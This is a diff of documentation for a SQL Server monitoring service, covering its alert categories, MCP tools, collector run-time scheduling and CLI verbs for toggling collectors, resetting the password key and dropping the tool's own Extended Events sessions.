+| `self-monitor` | The monitor about itself: `Collection Stopped`, `Capture Down`, `Compression Job Stuck`, `Refresh Job Stuck`, `Retention Job Stuck`, `Store Job Failing`, `Store Disk Pressure`, `Store Runtime Upgrade`, `Store Job Over Cadence`, `Retention Held`, `Custom Alert Rules Unhealthy`, `Stale Mute Rules`, `Web TLS Certificate Expiring`, `MCP TLS Certificate Expiring`, `Store Settings Need Attention`, `Collector Cost Regression`, `Collection Falling Behind`, `Collection Gap At Start` (once per start, when the service was not collecting for 15 minutes or more before it started), `Collection Gaps In History` (once a day, after 03:00Z, for the previous UTC day: an hour whose servers, or perfmon collection passes, fell below half of the usual for that hour; changing the perfmon collection schedule can trigger it for a few days) |
 | `reports` | Scheduled prose, never a page: `Collector Cost Digest`, `Fleet Sweep Rollup`, `Analysis Singles Digest` |
 | `agent-jobs` | `Failed Agent Job`, `Long-Running Job`, `Agent Not Running` |
 | `performance` | Everything about a monitored server the on-call is paged for: `High CPU`, `Blocking Detected`, `Blocking Wait Time`, `Deadlocks Detected`, `Poison Wait`, `Long-Running Query`, `tempdb Space`, `Volume Free Space`, `Version Store (PVS)`, `Database File Growth`, `Database State`, `Forced Plan Failing`, the three PostgreSQL outage predictors, the five `AG …` alerts, `Server Unreachable` / `Server Restored`, every `Custom:<id>` rule and every `Analysis: …` finding — and any metric the taxonomy does not name, so an unclassified alert lands where every alert landed before routes existed |
@@ -594,10 +694,10 @@ Destinations are bearer secrets, so the `viewer` and `mcp` roles never read them
 The embedded MCP server, over Streamable HTTP bound to `localhost` by default (see [Opt-in Network Endpoints (LAN)](#opt-in-network-endpoints-lan) to reach it — and the store — from the LAN). It exposes the same tool names Lite and the Dashboard expose, plus small Darling-only WRITE surfaces — Custom Views management, alert tuning, and server onboarding (see the last three bullets). The default path (`/`) serves every tool; a client that only needs the fact-finding path can point at `/core` instead, a fixed subset of about 70-90 tools reachable from `list_servers`, `get_fleet_overview`, `analyze_server` and `get_tool_guide` by following each finding's `next_tools`, served behind the exact same Host, token and CIDR checks as `/`:
 
 - **Diagnostic-analysis tools** — `analyze_server`, `get_analysis_facts`, `compare_analysis`, `audit_config`, `get_analysis_findings`, `mute_analysis_finding`.
-- **Plan-analysis tools** — `analyze_query_plan` (by `query_hash`), `analyze_procedure_plan` (by `sql_handle`), `analyze_query_store_plan` (by `database_name` + `query_id`), `analyze_plan_xml` (raw showplan XML, no fetch), and `get_plan_xml` (raw stored plan XML by `query_hash`). These run the shared execution-plan analyzer over the plan XML the collectors already captured into the store — a stored-plan read, never a live query against the monitored server. `analyze_query_plan`/`get_plan_xml` accept an optional `database_name`, and `analyze_query_store_plan` an optional `plan_id`, to pin the exact stored plan when the caller knows it.
+- **Plan-analysis tools** — `analyze_query_plan` (by `query_hash`), `analyze_procedure_plan` (by `sql_handle`), `analyze_query_store_plan` (by `database_name` + `query_id`), `analyze_plan_xml` (raw showplan XML, no fetch), `get_plan_xml` (raw stored plan XML by `query_hash`), and the five raw-plan reads behind the web grids' plan buttons: `get_query_store_plan_xml` (by `database_name` + `query_id`, optional `plan_id`), `get_procedure_plan_xml` (by `sql_handle`), `get_active_query_plan_xml` (by an Active Queries row's `collection_time` + `session_id`, optional `request_id`, `live`), `get_blocking_plan_xml` (by a `get_blocking` row's `event_time` and both spids, `side=blocking` for the blocker's plan) and `get_deadlock_plan_xml` (by a `get_deadlocks` row's `collection_time` and `deadlock_time`). `get_query_repro_script` builds a paste-ready T-SQL repro script from a stored query's text and plan (`kind` = `query_hash`, `query_store` or `active_snapshot`, plus that kind's key); store-only, nothing runs and no live plan is fetched. The `analyze_*` tools run the shared execution-plan analyzer over the plan XML the collectors already captured into the store — a stored-plan read, never a live query against the monitored server. `analyze_query_plan`/`get_plan_xml` accept an optional `database_name`, and `analyze_query_store_plan` an optional `plan_id`, to pin the exact stored plan when the caller knows it.
 - **Core data-read tools** — the diagnostic reads an assistant needs to investigate a server, each a stored read of the collected data (never a live query against the monitored server):
   - *Resource metrics* — `get_cpu_utilization`, `get_wait_stats`, `get_wait_trend`, `get_wait_types` (the distinct observed wait types, to pick one for `get_wait_trend`), `get_memory_stats`, `get_memory_clerks`, `get_file_io_stats`, `get_tempdb_trend`, `get_perfmon_stats`.
-  - *Query performance* — `get_top_queries_by_cpu`, `get_top_procedures_by_cpu`, `get_query_store_top` (these hand back the `query_hash` / `sql_handle` / `query_id` + `plan_id` keys the plan-analysis tools consume).
+  - *Query performance* — `get_top_queries_by_cpu`, `get_top_procedures_by_cpu`, `get_query_store_top`, `get_query_store_query_history` (one query's per-plan history behind the web grid's History button; these hand back the `query_hash` / `sql_handle` / `query_id` + `plan_id` keys the plan-analysis tools consume).
   - *Query Store clutter* — `get_query_store_clutter` (#3797), composed from rows already collected rather than from a new query against the server: per database the `query_store` collector's read cost (how often and by how much it was the slowest fan-out item, off `collection_log`'s V80 rollup), plan churn (`plan_id` cardinality on the raw `query_store_stats` rows — plans per query at p95, arrivals per day, the one-shot fraction) and the newest `query_store_health` options row, each with raw numbers and a decomposed `verdict`; plus ONE per-server overhead block — the non-sleep `QDS_*` wait deltas with the four sleep waits `IgnoredWaitDefaults` drops named as excluded, and `MEMORYCLERK_QUERYDISKSTORE`. A database whose `readonly_reason` carries the readable-secondary bit is excluded by architecture with the reason on the row (a replica's Query Store is its primary's); `query_capture_mode` is the V137 (#3796) column read verbatim, with `capture_mode_known` beside it — a null there is a capture older than the rung, never `NONE` — and the churn recommendations name the mode (`ALL` beside churn is the switch-to-`AUTO` case, `AUTO` beside it points at the workload); `fleet_median` is opt-in because it walks two raw hypertables fleet-wide. The same rows reach the web server page's **Queries** tab (one fetch, three panels: the per-database rows, the per-server wait block and the memory clerk) and the Viewer's **Queries → Query Store Clutter** sub-tab, both reading the same statements and the same composition, so a verdict and a remedy are worded once.
   - *Discovery / health* — `list_servers` (with collection-freshness status, each row's engine — `engine_kind` is the registry token, `engine_version` the engine-aware version label, and `sql_version` a **deprecated** alias of `engine_version` kept so existing consumers keep working — and the [declared peer stores](#peers) when the fleet is split across several Darling boxes), `get_collection_health`, `get_server_properties`.
 
@@ -657,7 +757,7 @@ The embedded MCP server, over Streamable HTTP bound to `localhost` by default (s
 
 - **Alert-tuning write tools (Darling-only)** — `update_alert_settings`, `create_mute_rule`, `update_mute_rule`, `delete_mute_rule`, `set_mute_rule_enabled`, and the two route writes `set_notification_route_enabled` / `delete_notification_route` (a route leaves force or is removed; authoring one — a destination URL — is the Viewer's Settings window only, because a destination is a bearer secret the `mcp` role never holds) let an MCP client TUNE the alert engine the fleet shares — the SAME config `get_alert_settings` / `get_mute_rules` read and the Viewer's Settings window writes. `update_alert_settings` is a PARTIAL update of the alert configuration: read via `get_alert_settings`, change fields, and send only those back in the same nested shape; every field is validated against the SAME ranges/enums the Settings window enforces BEFORE any write, an out-of-range or unknown field returns `{status:"invalid"}` and writes nothing, and the write self-bumps `config_version` so the running service hot-reloads within one collection sweep. `create_mute_rule` / `update_mute_rule` / `delete_mute_rule` / `set_mute_rule_enabled` reuse the SAME `PgMuteRuleStore` `get_mute_rules` reads through (and the same GUID id-generation the Viewer's mute-create path uses). `set_mute_rule_enabled` is the headless twin of the Viewer's mute-rule checkbox: it writes `enabled` and nothing else, so a rule can leave force and return keeping its id, its reason and the `created_at_utc` the `Stale Mute Rules` self-alert ages it from — where a delete-and-re-create resets that clock and delivers the suppressed alerts in between. `update_mute_rule` is the headless twin of the Viewer's Edit dialog on the same terms: a PARTIAL update (send only the fields to change, in the shape `get_mute_rules` returns; an explicit JSON `null` clears a field, so a bounded rule can be made permanent again) written through the store's own full-row `UpdateAsync` — whose SET list does not name `created_at_utc`, so no edit, however sweeping, resets the staleness clock the way the delete/recreate workaround did for every field the enable flag cannot express. `update_alert_settings` spans the two singleton config rows the alert engine reads: every knob is on `config_alert_settings` except the per-fingerprint DELIVERY cooldown, which is stored as `config_notification.email_cooldown_minutes` and reported and accepted as `delivery.cooldown_minutes` — a channel-neutral name, because that one number is the only throttle on a Slack / Teams / PagerDuty / generic-webhook post as well as on email, so a headless deployment with no SMTP configured at all is still governed by it (the stored spelling is accepted as a write-only alias). Note the two cooldowns are different stages: top-level `cooldown_minutes` gates whether the engine FIRES, `delivery.cooldown_minutes` bounds the resulting post — twice over, once per alert FINGERPRINT and once per METRIC across the whole fleet for a RE-notification, so one fault on forty servers does not cost forty posts an hour and the servers that second bound holds back are named on the post that does go out. A first notice is never held back by either bound, and `delivery.mode` `PerEvent` opts out of the per-metric one. None touches a monitored SQL Server or the collected data — only the shared alert configuration; SMTP/webhook delivery credentials are out of scope (the `mcp` role can read and write exactly the one non-secret cooldown column of the notification table, and cannot read or write any secret column). It is part of what the MCP token gates — see [What a token can reach](#opt-in-network-endpoints-lan) below.
 
-- **Server-onboarding write tools (Darling-only)** — `add_servers` (BULK) and `remove_server` (which leaves the server's Extended Events sessions on it: `PerformanceMonitor_Deadlock`, `PerformanceMonitor_BlockedProcess` and, if the opt-in `long_query_completions` collector was on, `PerformanceMonitor_LongQueryCompletions`; once the server is removed, [`--drop-xe-sessions --print-sql`](#drop-the-extended-events-sessions-a-removed-server-left-behind---drop-xe-sessions) prints the statements that drop them, because the named form `--drop-xe-sessions <server>` works only before the removal) let an MCP client stand up or tear down FLEET monitoring conversationally ("monitor these twenty servers with this login"), the service-side twin of the Viewer's Add / Manage Servers dialogs. `add_servers` takes a JSON **array** of server objects (`host` required; optional `display_name` / `database` / `read_only_intent` / `multi_subnet_failover`; `auth` `Windows`/`SQL` with `username`+`password` for SQL; and the exposed TLS options `encrypt_mode` `Optional`/`Mandatory`/`Strict` + `trust_server_certificate`) and processes them **in order**: it validates each entry, PROBES the connection in-process (reusing the same `DarlingServerConnector.ProbeAsync` the `--test-connection` verb runs — the service holds the network path + credentials, so no `test_connect` command plane is needed), skips a case-folded duplicate (`duplicate`) of an already-monitored server or an earlier entry, DPAPI-encrypts the SQL password (the service identity, so it round-trips at collection time), and INSERTs the row mirroring the service's own seed shape. A server that fails to connect is `connection_failed` and the batch continues. `auth` also takes the two non-interactive Microsoft Entra modes (#3484). With `ServicePrincipal`, `username` is the app's client id and `password` is its client secret. The other mode is `ManagedIdentity`. Only the interactive Entra modes (MFA, device code, default credential) are `invalid`, because they need a signed-in user and cannot run headless. Off Windows, a literal SQL password or client secret is refused as `invalid` too, because encryption at rest is Windows DPAPI. Give an `env:NAME` or `file:/run/secrets/<name>` reference instead, the same two forms that `darling.json` takes for every secret. A server is refused as `collides` when its probed connection lands in a database that another monitored server already covers. That happens when it names one database but connects to a different one, such as a wrong Initial Catalog. Adding it gives one database two identities, so its history is stored twice and its alerts fire twice. A server whose id is already held by a different server is refused as `collides` as well, because two identities can hash to one id. Nothing is written for a `collides` entry. If saving an entry fails, that entry and every entry after it are `not_saved` and are not probed. The entries before it stay `added`. `remove_server` DELETEs a monitored server by name (resolved the same way every `server_name` is) — already-collected history is kept. Both write only the monitoring store's `config.config_monitored_servers` registry; neither runs anything on a monitored server beyond the one-time probe. **The SQL password travels to the endpoint inside `add_servers`' request** and is DPAPI-encrypted at rest (never returned) — it is part of what the MCP token gates, and it puts a credential on the wire; see [What a token can reach](#opt-in-network-endpoints-lan) below.
+- **Server-onboarding write tools (Darling-only)** — `add_servers` (BULK) and `remove_server` (which drops this install's own Extended Events sessions on the server and leaves the shared ones: `PerformanceMonitor_Deadlock`, `PerformanceMonitor_BlockedProcess` and the old `PerformanceMonitor_LongQueryCompletions`; once the server is removed, [`--drop-xe-sessions --print-sql`](#drop-the-extended-events-sessions-a-removed-server-left-behind---drop-xe-sessions) prints the statements that drop what is left, because the named form `--drop-xe-sessions <server>` works only before the removal) let an MCP client stand up or tear down FLEET monitoring conversationally ("monitor these twenty servers with this login"), the service-side twin of the Viewer's Add / Manage Servers dialogs. `add_servers` takes a JSON **array** of server objects (`host` required; optional `display_name` / `database` / `read_only_intent` / `multi_subnet_failover`; `auth` `Windows`/`SQL` with `username`+`password` for SQL; and the exposed TLS options `encrypt_mode` `Optional`/`Mandatory`/`Strict` + `trust_server_certificate`) and processes them **in order**: it validates each entry, PROBES the connection in-process (reusing the same `DarlingServerConnector.ProbeAsync` the `--test-connection` verb runs — the service holds the network path + credentials, so no `test_connect` command plane is needed), skips a case-folded duplicate (`duplicate`) of an already-monitored server or an earlier entry, DPAPI-encrypts the SQL password (the service identity, so it round-trips at collection time), and INSERTs the row mirroring the service's own seed shape. A server that fails to connect is `connection_failed` and the batch continues. `auth` also takes the two non-interactive Microsoft Entra modes (#3484). With `ServicePrincipal`, `username` is the app's client id and `password` is its client secret. The other mode is `ManagedIdentity`. Only the interactive Entra modes (MFA, device code, default credential) are `invalid`, because they need a signed-in user and cannot run headless. Off Windows, a literal SQL password or client secret is refused as `invalid` too, because encryption at rest is Windows DPAPI. Give an `env:NAME` or `file:/run/secrets/<name>` reference instead, the same two forms that `darling.json` takes for every secret. A server is refused as `collides` when its probed connection lands in a database that another monitored server already covers. That happens when it names one database but connects to a different one, such as a wrong Initial Catalog. Adding it gives one database two identities, so its history is stored twice and its alerts fire twice. A server whose id is already held by a different server is refused as `collides` as well, because two identities can hash to one id. Nothing is written for a `collides` entry. If saving an entry fails, that entry and every entry after it are `not_saved` and are not probed. The entries before it stay `added`. `remove_server` DELETEs a monitored server by name (resolved the same way every `server_name` is) — already-collected history is kept. Both write only the monitoring store's `config.config_monitored_servers` registry; neither runs anything on a monitored server beyond the one-time probe. **The SQL password travels to the endpoint inside `add_servers`' request** and is DPAPI-encrypted at rest (never returned) — it is part of what the MCP token gates, and it puts a credential on the wire; see [What a token can reach](#opt-in-network-endpoints-lan) below.
 
 | Key | Default | Notes |
 |---|---|---|
@@ -670,6 +770,8 @@ Register with Claude Code:
 claude mcp add --transport http --scope user sql-monitor-darling http://localhost:5152/
 ```
 
+If `mcp.network.tls` is set and `mcp.network.listen` is `0.0.0.0` or `::`, the one MCP listener serves HTTPS to everyone, loopback included. Local clients then need `https://`, and the certificate must name the host they use. With a specific listen IP the loopback listeners stay plain HTTP, and the command above still works.
+
 If the port is already in use at startup, the MCP server logs an error and does not start; collection is unaffected.
 
 ### web
@@ -730,15 +832,50 @@ A **file-only** block (not seeded into the control plane): it describes the depl
 
 **A `peers` block that fails validation is refused whole, and nothing is disclosed** — not the valid subset. An unfinished block that asserts coverage which may be wrong is worse than no block, and the service logs each problem at Critical. The check runs inside the publish rather than only in config validation, because the MCP host loads its own config and deliberately never validates it (its fail-closed checks are host-local), so validation alone would leave the one path that actually broadcasts uncovered.
 
+### heartbeat
+
+An optional outbound ping to a dead-man's-switch URL, off unless `url` is set. File-only: the web Admin and MCP cannot edit it, and no page returns it. See [Watching the service from outside](#watching-the-service-from-outside).
+
 ### No Schedule Knobs, by Design
 
 There are deliberately **no collection-schedule or retention settings** in `darling.json`. The service consumes the shared per-collector defaults (`CollectorScheduleDefaults`) — the same cadences and retention horizons a fresh Lite install uses, identity-pinned by tests so the two editions cannot drift. If a schedule knob is ever genuinely needed, it will be added then, not speculatively.
 
-The overrides that do exist live in the **store**, not the file: `config.config_collector_schedules` is a sparse table where an absent row means "the code default", and the Viewer's Collector Schedules window is where cadence, retention, database scope and the enabled flag are edited, per fleet or per server. The one column an operator *must* be able to change without a desktop is the enabled flag — the next section is that path.
+The overrides that do exist live in the **store**, not the file. `config.config_collector_schedules` is a sparse table where an absent row means "the code default". The Viewer's Collector Schedules window is where cadence, retention, database scope, the enabled flag and the run time are edited, per fleet or per server. The two columns an operator *must* be able to change without a desktop are the enabled flag and the run time. The next two sections are those paths.
+
+#### What the run time sets
+
+The run time sets one thing: the time of day a collector that runs once a day or less often starts. The `config.config_collector_run_times` table holds it, one row per collector (fleet-wide or for one server). The table stores it as minutes after midnight on the *monitored server's own clock*. A collector with no row has no run time.
+
+The Viewer's Collector Schedules window writes the run time in the same Save as the schedule rows. Three actions delete the run times of the schedule they reset (the shipped defaults have no fixed time):
+
+- The window's Reset to Defaults.
+- A server's Use default schedule.
+- Apply Default to All Servers.
+
+A Viewer released before the table existed resets the schedule rows only. A run time set here therefore survives a Reset done in an older Viewer.
+
+The Viewer and the CLI take the run time as a 24-hour `HH:MM` time such as `02:00`.
+
+Without a run time, such a collector starts when the service happened to start. That can be the busiest hour of the server's day. With one, it starts in the hour you chose.
+
+A run time layers like the other columns: the server's own value, then the fleet-wide one, then no fixed time. On a server's row, `None` (stored as `-1`) stops a fleet-wide time on that server only. `Use default` (NULL) lets the next level apply.
+
+A run time works only when the collector's effective interval is a whole number of days (1440 minutes or a multiple of it). On an hourly collector a time only picks the minute past the hour. The Viewer and the CLI refuse it and tell you to change the frequency or clear the time.
+
+The Viewer's editor shows what the time means in server time and in UTC. A fleet row shows the spread, and a server row shows its next run. For an Azure SQL Database, which always reports UTC, it says so.
+
+#### What stays fixed
+
+Two numbers around the run time are not settings.
+
+- Each server starts at the run time plus a fixed offset of under 60 minutes. The offset depends only on the server id, so it is the same after every restart. A fleet-wide `02:00` spreads the fleet across 02:00 to 03:00 instead of starting every server in the same minute.
+- A run can start from that slot until 60 minutes after it. A collector that starts inside that hour runs at once. One that cannot (the service was down or busy) waits for the next day's slot. A missed day is skipped, not replayed. A run held by the concurrency cap starts when a place under the cap frees, which can be after the grace hour.
+
+The time follows the server's clock through a daylight-saving change, so it stays at the same local time.
 
 ### Enable or disable a collector headlessly (`--enable-collector` / `--disable-collector`)
 
-One collector ships **off**: `long_query_completions`, the long-running-query completion trace. A completion trace fires per statement or batch even though the duration predicate discards most of them, so it is opt-in per fleet — and opting in is a real action on the monitored servers: **enabling it creates the `PerformanceMonitor_LongQueryCompletions` Extended Events session on the next per-server sweep, and disabling it drops that session there** (the `CollectorScheduleDefaults` entry for it says exactly this, and `DarlingXeSessions.ReconcileLongQueryCompletionsAsync` is the code that follows the flag both ways). It does that only on a server the service still monitors: a server removed while the collector was on keeps the session. To drop it, run [`--drop-xe-sessions <server>`](#drop-the-extended-events-sessions-a-removed-server-left-behind---drop-xe-sessions) just before you remove the server, or run `--drop-xe-sessions --print-sql` afterwards and run the statements it prints on the server. Until [#3752](https://github.com/erikdarlingdata/PerformanceMonitor/issues/3752) the only writer of that flag was the Viewer's Collector Schedules window — an interactive desktop plus the `admin` role, which a remote viewer seat does not hold by default (`network.role` defaults to `viewer`). Two verbs, run on the **service host** (or, in bring-your-own mode, anywhere the store is reachable), close the gap:
+One collector ships **off**: `long_query_completions`, the long-running-query completion trace. A completion trace fires per statement or batch even though the duration predicate discards most of them, so it is opt-in per fleet — and opting in is a real action on the monitored servers: **enabling it creates this install's own long-query Extended Events session (`PerformanceMonitor_Darling_<id>_LongQueryCompletions`) on the next per-server sweep, and disabling it drops that session there** (the `CollectorScheduleDefaults` entry for it says exactly this, and `DarlingXeSessions.ReconcileLongQueryCompletionsAsync` is the code that follows the flag both ways). On-premises, disabling it keeps the session while another registration of this install on the same instance still has the trace on. On Azure SQL Database the session is database-scoped. Enabling it creates the session in each monitored database and drops it from any other database that has it. Disabling it drops the session from every database that has it. Neither drop removes the session from a database where another registration of that database still has the trace on. A database that is also monitored as its own server is left to that registration. Removing the server also drops this install's session on it, with one attempt within 15 seconds, unless another registration of this install keeps it. If that attempt failed or ran out of time, run [`--drop-xe-sessions --print-sql`](#drop-the-extended-events-sessions-a-removed-server-left-behind---drop-xe-sessions) and run the statements it prints on the server. Until [#3752](https://github.com/erikdarlingdata/PerformanceMonitor/issues/3752) the only writer of that flag was the Viewer's Collector Schedules window — an interactive desktop plus the `admin` role, which a remote viewer seat does not hold by default (`network.role` defaults to `viewer`). Two verbs, run on the **service host** (or, in bring-your-own mode, anywhere the store is reachable), close the gap:
 
 ```
 PerformanceMonitor.Darling.Service.exe --enable-collector long_query_completions
@@ -748,9 +885,43 @@ PerformanceMonitor.Darling.Service.exe --enable-collector long_query_completions
 
 Without `--server` the change is **fleet-wide** — the schedule row with no server, which every server inherits unless it has a row of its own. `--server <name>` writes that one server's row instead; the name is the display name or storage name the Viewer's sidebar and the MCP tools show, matched exactly first and as a partial name only when the partial is unique — an ambiguous fragment is refused with the candidates listed rather than guessed at, since a toggle landing on the wrong sibling is the same coin flip `remove_server` refuses to make. Only the `enabled` flag is written: a cadence or retention override already on the row survives. The verb owns no SQL of its own — it hands the same `enable_collector` / `disable_collector` command the store's command plane carries to the service's own command executor and runs the executor's plan, so an unknown collector name is refused with the executor's message and the full list of known collectors, and the upsert is one implementation rather than two. After the write it reads the collector's rows **back from the store** and prints them — scope, enabled, cadence, retention, database scope — so what you see is what the service will resolve, not an echo of what you typed. The write bumps the config version the running service polls every sweep, so it takes effect within one sweep with no restart. Add `--config <path>` if `darling.json` is not next to the exe and `DARLING_CONFIG` is not set. Exit `0` only when the row was written and read back, so it works as a step in a provisioning script. A failure exits `1` for a usage or configuration problem and `2` when the store cannot be reached, refuses the login, or refuses the change (a wrong password exits `2`, not `1`), so a script can tell a problem with its own arguments or config from a problem at the store. Managed mode needs Windows (the store credential is DPAPI); a bring-your-own store works on any platform, exactly as `--add-server` does. There is deliberately **no MCP tool** for this: the MCP surface has config writers (`add_servers`, alert tuning, custom views) but no collector-schedule writer, and adding one is a product decision the verb does not take — the CLI was the smallest surface that closes the headless gap.
 
+### Make a new password key (`--reset-password-key`)
+
+The service keeps one key pair for the SQL login passwords saved in the store: it publishes the public half, and every place that saves a password seals it to that key. The verb marks the current key replaced, so the next service start retires the old key file and makes a new key.
+
+```
+PerformanceMonitor.Darling.Service.exe --reset-password-key
+PerformanceMonitor.Darling.Service.exe --reset-password-key --config /etc/darling/darling.json
+```
+
+It changes the store only, as the store owner, and never touches a key file. It prints how many saved passwords were sealed to the old key: restart the service, then enter those passwords again.
+
+### Set the time of day a daily collector runs (`--set-collector-run-at`)
+
+A collector that runs once a day or less often, such as `index_object_stats`, can start at a time you choose. The verb writes the same row as the Viewer's Collector Schedules window. It takes a collector name and one of three values:
+
+```
+PerformanceMonitor.Darling.Service.exe --set-collector-run-at index_object_stats 02:00
+PerformanceMonitor.Darling.Service.exe --set-collector-run-at index_object_stats 03:30 --server sql01
+PerformanceMonitor.Darling.Service.exe --set-collector-run-at index_object_stats none --server sql01
+PerformanceMonitor.Darling.Service.exe --set-collector-run-at index_object_stats default --server sql01
+```
+
+- `HH:MM` is a 24-hour time from `00:00` to `23:59` on the monitored server's own clock.
+- `none` on a server's row keeps the fleet-wide time from applying to that server. On the fleet-wide row it clears the time.
+- `default` clears the row's time so the next level applies again. A server's row falls back to the fleet-wide time. It creates no row.
+
+Without `--server` the change is **fleet-wide**. `--server <name>` writes that server's own row, with the name matched as `--enable-collector` matches it. Only the run time is written. The enabled flag, cadence and retention already on the row are kept.
+
+The verb refuses a time that is not a 24-hour `HH:MM` time. It also refuses a time on a collector whose cadence, for the row being written, is more often than once a day. In both cases it prints the text the Viewer shows, exits `1` and changes nothing. `none` and `default` are never refused, because clearing is the remedy that refusal names.
+
+After the write the verb reads the collector's rows back from the store and prints them. A row that carries a time prints `run_at=02:00 server time`, so what you see is what the service will resolve. The exit codes, `--config` and the managed-mode rule are those of `--enable-collector`.
+
+The write needs the run-time table, which the service adds when it starts. If the service has not migrated the store yet, the verb says so. It tells you to start the service once to migrate the store, then run the command again. It exits `1` and changes nothing. `--enable-collector` and `--disable-collector` read back without the `run_at=` part instead of failing.
+
 ### Drop the Extended Events sessions a removed server left behind (`--drop-xe-sessions`)
 
-Removing a server (`remove_server`, the Viewer's Manage Servers dialog) stops collection but does **not** touch the monitored server. The Extended Events sessions the service created there keep running: `PerformanceMonitor_Deadlock`, `PerformanceMonitor_BlockedProcess` and, if the opt-in `long_query_completions` collector was on for it, `PerformanceMonitor_LongQueryCompletions`. Each has a 4 MB ring buffer, and the long query completions session also tests every completed statement and batch against its duration filter, which is why that collector is opt-in. The service does not drop them when a server is removed, because the names are shared with Lite, with the deprecated Full Dashboard installer and with any other Darling service that monitors the same server, and a server the service cannot reach cannot be cleaned by it. Turning `long_query_completions` off makes the service drop its session only on a server it still monitors; a removed server is no longer swept, so drop that session with this verb. When nothing else monitors the server, drop them yourself, and run the named form **just before you remove the server**:
+Removing a server (`remove_server`, the Viewer's Manage Servers dialog) stops collection and drops this install's own Extended Events sessions on the server. The service makes one attempt within 15 seconds. It leaves a session that another registration of this install keeps. A drop that fails or times out never stops the removal. Each install has an id, and the sessions it creates carry that id: `PerformanceMonitor_Darling_<id>_LongQueryCompletions` and, on Azure SQL Database, its own `_Deadlock` and `_BlockedProcess` sessions. The service never drops the shared sessions: `PerformanceMonitor_Deadlock`, `PerformanceMonitor_BlockedProcess` and the old shared `PerformanceMonitor_LongQueryCompletions`. Lite, the deprecated Full Dashboard installer and any other Darling service that monitors the same server use those names too. Each session has a 4 MB ring buffer. The long query completions session also tests every completed statement and batch against its duration filter, which is why that collector is opt-in. This verb drops the shared sessions. It also drops this install's own sessions on a server that is still monitored. For a session a removal failed to drop, because the server was unreachable or the attempt timed out, use `--print-sql`. When nothing else monitors the server, run the named form **just before you remove the server**:
 
 ```
 PerformanceMonitor.Darling.Service.exe --drop-xe-sessions sql01 --dry-run
@@ -758,15 +929,17 @@ PerformanceMonitor.Darling.Service.exe --drop-xe-sessions sql01
 PerformanceMonitor.Darling.Service.exe --drop-xe-sessions --print-sql
 ```
 
-`--drop-xe-sessions <server-name>` finds the server the way `--validate-config` does (the store's registry, or `darling.json`'s list when the store cannot be reached), connects with the same connector the service uses and the credentials in the configuration (none are ever taken from arguments), lists which of the three sessions exist, and drops each with `DROP EVENT SESSION [name] ON SERVER`. On Azure SQL Database it does the same for the database-scoped copies in each monitored database (`ON DATABASE`). `--dry-run` lists them and drops nothing; `--config <path>` names a `darling.json`. Only those three names are ever dropped.
+`--drop-xe-sessions <server-name>` finds the server the way `--validate-config` does (the store's registry, or `darling.json`'s list when the store cannot be reached), connects with the same connector the service uses and the credentials in the configuration (none are ever taken from arguments), lists which of Darling's sessions exist (the shared names and this install's own), and drops each with `DROP EVENT SESSION [name] ON SERVER`. On Azure SQL Database it does the same for the database-scoped copies in each monitored database (`ON DATABASE`). For the long query completions session it also searches the databases the server excludes, because a session created before a database was excluded stays there with nothing else to drop it. It leaves master, a database that is monitored as its own server, and a database where another registration of the same logical server keeps the session. A registration keeps it when its long query setting is on. That setting is its own schedule row, else the fleet-wide row, else the collector's default, which is off. If the verb cannot read the schedule rows, it counts every other registration as keeping it. On any other server, the verb can leave this install's long query session in place. It does that, with a note on stderr, when another registration of this install on the same instance has the trace on. It matches registrations by the instance name each one last reported, and a name it does not know matches nothing. `--dry-run` lists them and drops nothing; `--config <path>` names a `darling.json`. Only the shared names and this install's own names are ever dropped. The verb reads this install's id from the store and never writes it, because the service makes the id when it starts. With no id, it leaves every session named for an install alone and says so. It lists the sessions of other installs under a heading, each with a guarded `DROP` statement, and never runs them. Run one only when that install no longer monitors the server. A database the server excludes that the login cannot open (no user in it, a paused serverless database) is reported in a note on stderr and does not change the exit code, so a long query completions session left in it needs a manual drop; a monitored database it cannot open makes the verb exit `2`.
 
-The order matters. The named form finds the server in the store's list of enabled servers, so it reaches only a server this service still monitors, and dropping the sessions on such a server stops its deadlock and blocked-process capture until this service reconnects to it (the service creates a missing session when it connects). Run the named form just before you remove the server, and remove the server next.
+The order matters. The named form finds the server in the store's list of enabled servers, so it reaches only a server this service still monitors. Dropping the shared sessions on such a server stops its deadlock and blocked-process capture until this service reconnects to it. The service creates a missing session when it connects. To drop the shared sessions too, run the named form just before you remove the server, and remove the server next.
+
+On Azure SQL Database, a session can't be dropped over a read-only connection. For a registration with read-only intent, the verb first stops the session over the registration's own connection, if it runs there. It then drops the session over a connection without the intent, which reaches the primary. Every other drop is one statement over the registration's own connection. On Hyperscale with several high-availability replicas, that stop reaches only the replica the connection lands on (see the Hyperscale item under Known limits).
 
 The login in the configuration needs the permission that [Microsoft Learn's `DROP EVENT SESSION` page](https://learn.microsoft.com/en-us/sql/t-sql/statements/drop-event-session-transact-sql) requires. On SQL Server and Azure SQL Managed Instance that is `DROP ANY EVENT SESSION` (SQL Server 2022 and later) or `ALTER ANY EVENT SESSION`; on Azure SQL Database it is `DROP ANY DATABASE EVENT SESSION` in each monitored database. A grant that only lets a login create the sessions (`CREATE ANY DATABASE EVENT SESSION` on Azure SQL Database, for one) does not cover the drop. When the login lacks the grant, the server refuses each drop, the verb prints `[FAILED]` for it, carries on with the next, and exits `2`.
 
-A server that is no longer configured has no definition and no credentials left to connect with, so the named form works only until `remove_server` (or the Manage Servers dialog) removes the server, and a name that matches nothing exits `1` and points at `--print-sql`: `--drop-xe-sessions --print-sql` connects to nothing and prints guarded statements (`IF EXISTS` against `sys.server_event_sessions`, and against `sys.database_event_sessions` for Azure SQL Database) for all three names in both scopes, to run on the server yourself. Exit codes: `0` when everything found was dropped (or listed) or nothing was there, `1` for a usage, configuration or unknown-name problem, `2` when the server cannot be reached or searched or a drop is refused.
+A server that is no longer configured has no definition and no credentials left to connect with, so the named form works only until `remove_server` (or the Manage Servers dialog) removes the server, and a name that matches nothing exits `1` and points at `--print-sql`: `--drop-xe-sessions --print-sql` connects to nothing and prints guarded statements (`IF EXISTS` against `sys.server_event_sessions`, and against `sys.database_event_sessions` for Azure SQL Database) for the three shared names in both scopes, and a query per scope that lists the sessions named for any install, each with its `DROP` statement, to run on the server yourself. Exit codes: `0` when everything found was dropped (or listed) or nothing was there, `1` for a usage, configuration or unknown-name problem, `2` when the server cannot be reached or searched or a drop is refused.
 
